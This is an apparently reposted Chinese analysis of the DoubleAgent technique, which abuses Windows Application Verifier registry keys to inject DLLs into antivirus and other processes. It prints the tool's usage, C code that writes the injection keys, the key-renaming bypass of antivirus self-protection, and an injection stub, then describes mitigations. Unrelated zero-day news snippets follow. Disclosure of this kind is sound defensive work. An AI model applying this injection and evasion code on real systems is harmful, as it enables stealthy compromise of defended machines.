零日漏洞DoubleAgent的代码注入和持久性攻击技术分析

本文讲的是零日漏洞DoubleAgent的代码注入和持久性攻击技术分析

近日Cybellum的安全专家发现了一种新型的零日漏洞病毒,该病毒会在攻击计算机前先破坏杀毒软件,Cybellum的安全专家将这种攻击手段命名为 DoubleAgent。 DoubleAgent通过向杀毒软件注入代码从而修改杀毒软件的进程,进而获得设备的完整权限来对用户进行攻击。

DoubleAgent利用了存在于Microsoft Application Verifier(应用程序检验器)的漏洞,目前确认的受影响的设备包括:

1.从XP到Windows 10的所有Windows 版本都受到了影响,
2.含有x86和x64的Windows架构都受到了影响,
3.Windows的SYSTEM 和 Admin 用户都受到了影响,
4.含有OS及Antivirus特权进程的Windows设备都受到了影响,

也就是说DoubleAgent利用了存在于Microsoft Application Verifier的一个15年的漏洞,而且这种攻击是建立在一个合法进程之上,因此目前我们还无法对其进行修复。

代码注入

据Cybellum介绍,DoubleAgent通过将一个叫做“verifier provider DLL”的文件加载到目标应用程序的进程程中。

一旦加载完成,该DLL将作为指定进程的程序DLL添加到Windows注册表。随后Windows会自动以该DLL注册名将代码注入到所有进程中,这个机制使得DoubleAgent能够获得高执行权限,从而允许DoubleAgent执行特权来注册一个恶意的代码进程,将代码注入到杀毒软件,并劫持其代理。

这个攻击方法适用于任何进程了,一旦恶意软件劫持了杀毒软件,它可能会滥用其进行各种恶意操作,包括更改杀毒软件的白名单或黑名单、在应用程序中安装后门程序、劫持用户数据、将其传播到其他设备、进行加密或删除文件(即勒索软件的行为)。

另外代码注入在进程启动过程中发生得非常早,从而使攻击者完全控制进程,并且无法让进程进行自我保护。总而言之,这种代码注入技术非常独特,不会被任何杀毒软件检测到或阻止。

实施持久性攻击

Cybellum还指出,即便采取了重新启动、更新、重新安装或修补程序等行为,攻击也很难被阻止,DoubleAgent还可以继续注入代码。一旦攻击者将代码注入到一个进程中,则这个进程将永远被强制绑定。

攻击范围

1.DoubleAgent的攻击据称影响到诸多安全厂商,包括Avast, AVG, Avira, Bitdefender, Comodo, ESET, F-Secure, Kaspersky, Malwarebytes, McAfee, Norton, Panda, Quick Heal 和 Trend Micro。

2.DoubleAgent可以在操作系统启动后自动执行。

3.DoubleAgent可以劫持现有可信进程的权限,从而伪装成受信任的进程以执行恶意操作。

4.DoubleAgent可以更改执行流程,例如安装后门、削弱加密算法等。

5.DoubleAgent通过向其他用户和会话控制的进程中注入代码,将其传播到其他设备。

攻击技术还原

利用Microsoft Application Verifier的漏洞

DoubleAgent通过一个叫做“verifier provider DLL”的文件加载到应用程序的进程中。

验证者提供的代码只是一个被加载到进程中并负责执行应用程序运行验证的,为了注册一个新的应用程序验证代码,验证者需要为验证程序提供程序代码并通过在注册表中创建一组密钥(a set of keys)来注册它。

一旦将代码注册为进程的验证程序,即使在重新启动、更新、重新安装、修补程序等之后,Windows Loader也会永久注入到进程中。

注册

应用程序验证者会根据可执行文件名称进行注册,这意味着每个代码都被绑定到一个特定的可执行文件名称,并且还将被注入到注册过的进程名称启动后的每个进程。

例如把DoubleAgentDll.dll注册到cmd.exe并启动,“C:/cmd.exe”和“C:/Windows/System32/cmd.exe”在注册后,会将DoubleAgentDll.dll注入到这两个进程中。

注册后,每当使用注册名称创建新进程时,操作系统会自动执行注入。无论是rebootsupdatesreinstallspatches还是其它,注入都会一直发生。每次创建具有注册名称的新进程时,DoubleAgent都将与应用程序验证一起注入。

可以使用Cybellum公开的DoubleAgent项目来注册新的应用验证,请点击这儿。

Usage:  DoubleAgent.exe installuninstallrepair process_name
e.g.      DoubleAgent.exe install cmd.exe

或者使用验证器模块将注册功能集成到现有项目中,请点击这儿。

/*
 * Installs an application verifier for the process
 */
DOUBLEAGENT_STATUS VERIFIER_Install(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName, IN PCWSTR pcwszVrfDllPathX86, IN PCWSTR pcwszVrfDllPathX64);
/*
 * In some cases (application crash, exception, etc.) the installuninstall functions may accidentally leave the machine in an undefined state
 * Repairs the machine to its original state
 */
DOUBLEAGENT_STATUS VERIFIER_Repair(VOID);
/*
 * Uninstalls the application verifier from the process
 */
VOID VERIFIER_Uninstall(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName);

在后台,注册过程创建了两个新的注册表项:

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/PROCESS_NAME

/* Creates the VerifierDlls value and sets it to the verifier dll name */
bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));
/*
 * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER
 * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx
 */
bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD,
&dwGlobalFlag, sizeof(dwGlobalFlag)));

最终结果如下:

某些杀毒软件试图通过阻止DoubleAgent修改密钥的方法来保护“Image File Execution Options”下的进程。例如杀毒软件可能会尝试阻止访问“Image File Execution Options/ANTIVIRUS_NAME”的任何尝试。

但是DoubleAgent只需要通过略微修改注册表路径,就可以轻松地绕过这些简单的保护措施。例如绕过“ “Image File Execution Options/ANTIVIRUS_NAME” 的访问,DoubleAgen首先将“Image File Execution Options”重命名为“Image File Execution Options Temp”等新的临时名称,在“Image File Execution Options TempANTIVIRUS_NAME”下创建新的注册表项,然后将“Image File Execution Options”重命名为其原始名称。

因为新的密钥的创建发生在“Image File Execution Options TempANTIVIRUS_NAME”而不是“Image File Execution Options/ANTIVIRUS_NAME”之下,所以DoubleAgent足以绕过杀毒软件的自我保护。

Cybellum的研究人员通过对几款杀毒软件的注册表项进行安全保护性测试后发现,所有这些杀毒软件都被使用了“Rename Technique”的DoubleAgent绕过。

在“Rename Technique”技术实现后,就可以实现代码注入了:

/* Creates the VerifierDlls value and sets it to the verifier dll name */
bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));
/*
 * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER
 * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx
 */
bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)));
/*
 * The key creation might fail because some antiviruses protect the keys of their processes under the IFEO
 * One possible bypass is to rename the IFEO key name to a temporary name, create the keys, and restores the IFEO key name
 */
if ((FALSE == bCreatedVerifierDlls) || (FALSE == bCreatedGlobalFlag))
{
/* Renames the IFEO key name to a temporary name */
if (ERROR_SUCCESS != RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP))
{
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGRENAMEKEY_FAILED);
goto lbl_cleanup;
}
bKeyRenamed = TRUE;
/*
 * Opens the temporary IFEO key
 * The key is reopened because some antiviruses continue monitoring and blocking the handle that opened the original IFEO
 */
if (ERROR_SUCCESS != RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP, 0, KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKeyTemp))
{
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGOPENKEYEXW_FAILED_TEMP_IFEO);
goto lbl_cleanup;
}
if (FALSE == bCreatedVerifierDlls)
{
/* Tries again to create the VerifierDlls value */
if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes))
{
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_VERIFIERDLLS);
goto lbl_cleanup;
}
bCreatedVerifierDllsTemp = TRUE;
}
if (FALSE == bCreatedGlobalFlag)
{
/* Tries again to create the GlobalFlag value */
if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)))
{
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_GLOBALFLAG);
goto lbl_cleanup;
}
bCreatedGlobalFlagTemp = TRUE;
}
}

注入

操作系统会通过调用ntdll的LdrInitializeThunk 来控制内核到用户的传输模式,这样每个进程都将启动。启动后,ntdll会负责初始化过程(初始化全局变量,加载导入等),并最终将控制转移到执行程序:

该过程处于初始阶段,唯一加载的模块是ntdll.dll和可执行文件(NS.exe):

当ntdll的LdrpInitializeProcess中的大部分初始化发生时,Ntdll也会开始初始化进程:

通常第一个被加载的DLL将是kernel32.dll。

但是,如果应用程序验证已经打开ntdll的LdrpInitializeProcess调用ntdll的AVrfInitializeVerifier,那这会导致程序DLL在加载kernel32之前加载:

初始阶段,在任何其他系统dll之前,研究人员是可以绝对控制这个过程的:

一旦研究人员的DLL由ntdll加载,则DllMain将被调用,研究人员就可以自由地按照所希望的方式在用户进程中进行任意控制狂:

static BOOL main_DllMainProcessAttach(VOID)
{
DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
/*
 **************************************************************************
 Enter Your Code Here
 **************************************************************************
 */
 /* Succeeded */
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
/* Returns status */
return FALSE != DOUBLEAGENT_SUCCESS(eStatus);
}

DoubleAgent的预防

微软为杀毒厂商提供了一个新的保护理念,称为保护过程防护。保护过程防护专门是为杀毒服务而设计。杀毒进程可以创建为“受保护的进程”,受保护的进程设备只允许受信任的签名代码加载,并具有针对代码注入攻击的内置防护功能。这意味着即使攻击者再发现了一种新的零日漏洞技术来注入代码,但因为它的代码未签名,所以最终还是无法修改杀毒软件的权限。目前只有Windows Defender已经实现了这种保护。

不过请注意,即使杀毒软件会阻止注册尝试,代码注入技术和持久性技术也难被阻止,因为代码注入技术和持久性技术利用了是操作系统的合法进程。

总结

攻击技术总是在发展,比如这次的零日攻击。所以我们需要更加努力地发现和防范这些攻击,并停止盲目信任传统的安全解决方案,如上文所分析的那样,如果我们还是按照传统的思维方式来抵御这个零日攻击,不仅无效而且还为攻击者创造了新的攻击机会。

原文发布时间为:2017年4月1日

本文作者:xiaohui 

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-12-28 23:54:06

零日漏洞DoubleAgent的代码注入和持久性攻击技术分析的相关文章

微软再爆零日漏洞逾133万台电脑遭攻击

本报讯(记者/蔡伟)继微软视频控件漏洞出现之后,昨日,两大杀毒软件厂商瑞星和赛门铁克再度发出安全警报,称发现微软视频技术控件(ActiveXcontrol)爆发零日(0day)漏洞,目前已有133万余台电脑遭攻击. 据悉,零日漏洞最早于8日被黑客利用,最近每天被该漏洞攻击的电脑都在20万台以上,并于昨日达到攻击最高峰.然而,由于微软尚未对外发布修补此漏洞的补丁,截至目前,累积超过133万台电脑被使用该漏洞的挂马网站攻击. 期间,网络攻击者目前主要通过WindowsXP系统上的IE浏览器利用该漏洞

黑客攻击索尼用零日漏洞,杀鸡竟用牛刀

网易科技讯 1月21日消息,据国外媒体报道,熟悉索尼黑客事件调查的消息人士日前向媒体透露,这次黑客所使用的工具远比人们想象的要复杂.黑客们利用之前不为人知的系统漏洞侵入索尼影业的系统,这种漏洞又被称为"零日漏洞",具备极大的突发性与破坏性,往往会被国家级别的黑客利用.目前还不清楚这个漏洞涉及系统哪一部分,是否是核心区域. 这篇报道也与之前美国国家安全局的声明针锋相对,后者认为黑客的攻击方式是向索尼的雇员发送大量的定向钓鱼邮件.定向钓鱼邮件是一种非常简单的黑客攻击方式,向一个私人邮箱发送

安全厂商的价值何在?零日漏洞这事没完

软件厂商会修复这些漏洞,但用户应该谨记,总有零日漏洞利用恣意生长. 美国CIA网络间谍武器库数据泄露之后,软件厂商重申了其及时修复漏洞的承诺,告诉用户:该机构被泄文档中描述的很多漏洞都已经被修复了. 从公共关系角度看来,这些保障都是可以理解的,但它们真心改变不了任何事.尤其是对被国家支持黑客所盯上的公司和用户来说.他们使用的软件,并不比维基解密公布了那 8,700+ CIA文档之前更不安全,也没有受到更好的防护. 被泄文件描述的是CIA网络部所用恶意软件工具和漏洞利用程序,可以黑进所有主流桌面和

AdobePDF修复零日漏洞

Adobe Systems为其Adobe Acrobat和Reader PDF查看软件发布了一项安全更新,修复了一个自12月中旬以来遭到活跃攻击的严重的PDF零日漏洞.本周二发布的Adobe更新修复了八个漏洞,影响到运行在Windows.Macintosh和UNIX上的Adobe Reader 9.2和Acrobat 9.2,以及运行于Windows和Macintosh上的Adobe Reader 8.1.7和 Acrobat 8.1.7.Adobe安全补丁指出:"这些漏洞会致使应用程序崩溃,而

US-CERT:SMB 零日漏洞致 Windows 8.1/10 用户面临蓝屏崩溃

今天早些时候,美国计算机应急响应小组(US CERT)披露在 SMB 服务中发现了一个新的"零日"安全漏洞,Windows 8.1 和 Windows 10 操作系统的用户均面临被攻击的风险.该安全机构解释到,其安全工程师已经顺利地在打了完整补丁的 Windows 10 / 8.1 计算机上重现了一次拒绝服务(DDoS)攻击.至于能否利用该漏洞来执行任意代码,仍有待进一步解析. 另有报道称,Windows Server(服务器操作系统)也可能受到影响,但目前尚未得到证实.US CERT

微软发布IE零日漏洞补丁修补“极光”

2010年1月22日,微软紧急发布安全通告,主要内容是针对Internet Explorer 的累积性安全更新.随着"极光"零日漏洞所带来的影响越来越严重,微软不得不在第一时间展开对该漏洞的"围捕",此次发布的官方正式补丁总共修复了8个漏洞. 微软安全公告中指出,"此安全更新可解决 Internet Explorer 中七个秘密报告的漏洞和一个公开披露的漏洞. 最严重的漏洞可能在用户使用 Internet Explorer 查看特制网页时允许远程执行代码.

微软办公软件出现“零日”漏洞

[新华社天津7月19日电](记者 张建新 高原)国家计算机病毒应急处理中心通过互联网络监测发现,微软公司的办公处理软件Office出现"零日"漏洞,互联网络中恶意攻击者已开始广泛进行恶意木马的传播. 该漏洞存在于Office网页组件动态链接库文件(文件名为:OCW10.dll)中.一旦恶意攻击者以特定序列代码利用该漏洞组件来调用浏览器IE程序窗口,就会触发Office内存,使之遭到破坏,进而导致恶意攻击者能够远程执行任意指令代码. 当计算机用户使用浏览器IE6.IE7版本或使用IE内核

病毒报告:AdobeFlash播放器存在零日漏洞

新华网天津8月2日电(记者张建新 高原)国家计算机病毒应急处理中心通过互联网络监测发现,AdobeFlash播放器存在"零日"漏洞.恶意攻击者会利用该漏洞进行网页挂马,使得计算机用户的操作系统面临受到"挂马"攻击的威胁. AdobeFlash播放器的"零日"漏洞出现在其播放器解析Flash文件的过程中.恶意攻击者将一个含有特定代码的Flash文件插入Web网页中,一旦计算机用户浏览打开该网页,那么AdobeFlash播放器的控件文件(即ocx控件

黑客59万售卖Windows最新零日漏洞

一位名叫"BuggiCorp"的黑客近日在暗网黑市上兜售一种新的零日漏洞,号称可以利用这个漏洞在Windows所有版本中获取到最高的系统运营权限. 安全公司Trustawave发现,这个漏洞首次出现在俄罗斯的一个暗网黑客论坛上是在五月初,当时售价9.5万美元(折合成人民币约62万),一周前这个帖子再次被更新,价格并将价格改为9万美元(折合成人民币约59万). 据了解,零日漏洞的生意较黑市上售卖的其他产品来说难做一些,因为这其中需要一定的信任才能完成交易,通常通过个人的人脉进行销售,因此